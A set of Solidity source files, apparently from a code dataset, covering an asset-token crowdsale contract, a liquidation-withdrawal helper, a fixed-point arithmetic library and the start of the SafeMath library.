emit Started();
}
/// @dev Calc how many tokens you would receive for given ETH amount (all in unit WEI)
function calcTokensForEth(uint256 _ethAmountInWei) public view returns (uint256 _tokensWouldBeCreated) {
return crowdsaleData.calcTokensForEth(_ethAmountInWei);
}
/// @dev Can be overridden to add start validation logic. The overriding function
/// should call super.validStart() to ensure the chain of validation is
/// executed entirely.
function validStart() internal view returns (bool) {
return crowdsaleData.validStart();
}
/// @dev Can be overridden to add preparation logic. The overriding function
/// should call super.prepareStart() to ensure the chain of finalization is
/// executed entirely.
function prepareStart() internal {
}
/// @dev Determines how ETH is stored/forwarded on purchases.
/// @param _overpaidRefund overpaid ETH amount (because AssetToken is 0 decimals)
function forwardWeiFunds(uint256 _overpaidRefund) internal {
require(_overpaidRefund <= msg.value, "unrealistic overpay");
crowdsaleData.wallet.transfer(msg.value.sub(_overpaidRefund));
//send overpayment back to sender. notice: only safe because executed in the end!
msg.sender.transfer(_overpaidRefund);
}
///
// Status Ended
///
/// @dev Can be called by owner to end the crowdsale manually
function endCrowdsale() public onlyOwner onlyActive {
updateFromAssetToken();
crowdsaleData.state = CrowdsaleL.State.Ended;
emit Ended();
}
///
// Status Finalized
///
/// @dev Must be called after crowdsale ends, to do some extra finalization.
function finalizeCrowdsale() public {
updateFromAssetToken(); //IMPORTANT
require(crowdsaleData.state == CrowdsaleL.State.Ended || crowdsaleData.state == CrowdsaleL.State.Started, "state");
require(hasEnded(), "not ended");
crowdsaleData.state = CrowdsaleL.State.Finalized;
finalization();
emit Finalized();
}
/// @notice status if crowdsale has ended yet.
/// @return true if crowdsale event has ended.
function hasEnded() public view returns (bool) {
return crowdsaleData.hasEnded();
}
/// @dev Can be overridden to add finalization logic. The overriding function
/// should call super.finalization() to ensure the chain of finalization is
/// executed entirely.
function finalization() internal {
}
///
// Status Closed
///
/// @dev Must be called to close the crowdsale manually. The overriding function
/// should call super.closeCrowdsale()
function closeCrowdsale() public onlyOwner {
crowdsaleData.closeCrowdsale();
}
////////////////
// Rescue Tokens
////////////////
/// @dev Can rescue tokens accidentally assigned to this contract
/// @param _foreignTokenAddress The address from which the balance will be retrieved
/// @param _to beneficiary
function rescueToken(address _foreignTokenAddress, address _to)
public
onlyTokenRescueControl
{
crowdsaleData.rescueToken(_foreignTokenAddress, _to);
}
}
// File: contracts/crowdsale/feature/AssignTokensOffChainPaymentFeature.sol
/*
Copyright 2018, CONDA
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title AssignTokensOffChainPaymentFeature that if inherited adds possibility mintFor(investorXY) without ETH payment. */
contract AssignTokensOffChainPaymentFeature {
///////////////////
// Modifiers
///////////////////
modifier assignTokensPrerequisit {
require(_assignTokensPrerequisit(), "assign prerequisit");
_;
}
///////////////////
// Functions
///////////////////
/// @notice If entitled call this method to assign tokens to beneficiary (use case: off-chain payment)
/// @dev Token amount is assigned unmodified (no rate etc. on top)
function assignTokensOffChainPayment(
address _beneficiaryWallet,
uint256 _tokenAmount,
bytes8 _tag)
public
assignTokensPrerequisit
{
_assignTokensOffChainPaymentAct(_beneficiaryWallet, _tokenAmount, _tag);
}
///////////////////
// Functions to override
///////////////////
/// @dev Checks prerequisits (e.g. if active/draft crowdsale, permission) ***MUST OVERRIDE***
function _assignTokensPrerequisit() internal view returns (bool) {
revert("override assignTokensPrerequisit");
}
/// @dev Assign tokens act ***MUST OVERRIDE***
function _assignTokensOffChainPaymentAct(address /*_beneficiaryWallet*/, uint256 /*_tokenAmount*/, bytes8 /*_tag*/)
internal returns (bool)
{
revert("override buyTokensWithEtherAct");
}
}
// File: contracts/crowdsale/STOs/AssetTokenCrowdsaleT001.sol
/// @title AssetTokenCrowdsaleT001. Functionality of BasicAssetTokenNoFeatures with the AssignTokensOffChainPaymentFeature feature.
contract AssetTokenCrowdsaleT001 is BasicAssetTokenCrowdsaleNoFeature, AssignTokensOffChainPaymentFeature {
///////////////////
// Constructor
///////////////////
constructor(address _assetToken) public BasicAssetTokenCrowdsaleNoFeature(_assetToken) {
}
///////////////////
// Feature functions internal overrides
///////////////////
/// @dev override of assign tokens prerequisit of possible features.
function _assignTokensPrerequisit() internal view returns (bool) {
return (_isTokenAssignmentControl() && _isActiveOrDraftState());
}
/// @dev method executed on assign tokens because of off-chain payment (if feature is inherited).
function _assignTokensOffChainPaymentAct(address _beneficiaryWallet, uint256 _tokenAmount, bytes8 _tag)
internal returns (bool)
{
crowdsaleData.assignTokens(_beneficiaryWallet, _tokenAmount, _tag);
return true;
}
}
|
Checks if valid purchase before other ecosystem contracts roundtrip (fail early). return true if the transaction can buy tokens
|
function validPurchasePreCheck(Data storage _self) private view returns (bool) {
require(_self.state == State.Started, "not in state started");
bool withinPeriod = now >= _self.startTime && _self.endTime >= now;
require(withinPeriod, "not within period");
return true;
}
| 1,083,269 |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
// Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below).
contract LiquidationWithdrawer {
function withdrawLiquidation(
address financialContractAddress,
uint256 liquidationId,
address sponsor
) public returns (FixedPoint.Unsigned memory) {
return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor);
}
}
interface IFinancialContract {
function withdrawLiquidation(uint256 liquidationId, address sponsor)
external
returns (FixedPoint.Unsigned memory amountWithdrawn);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
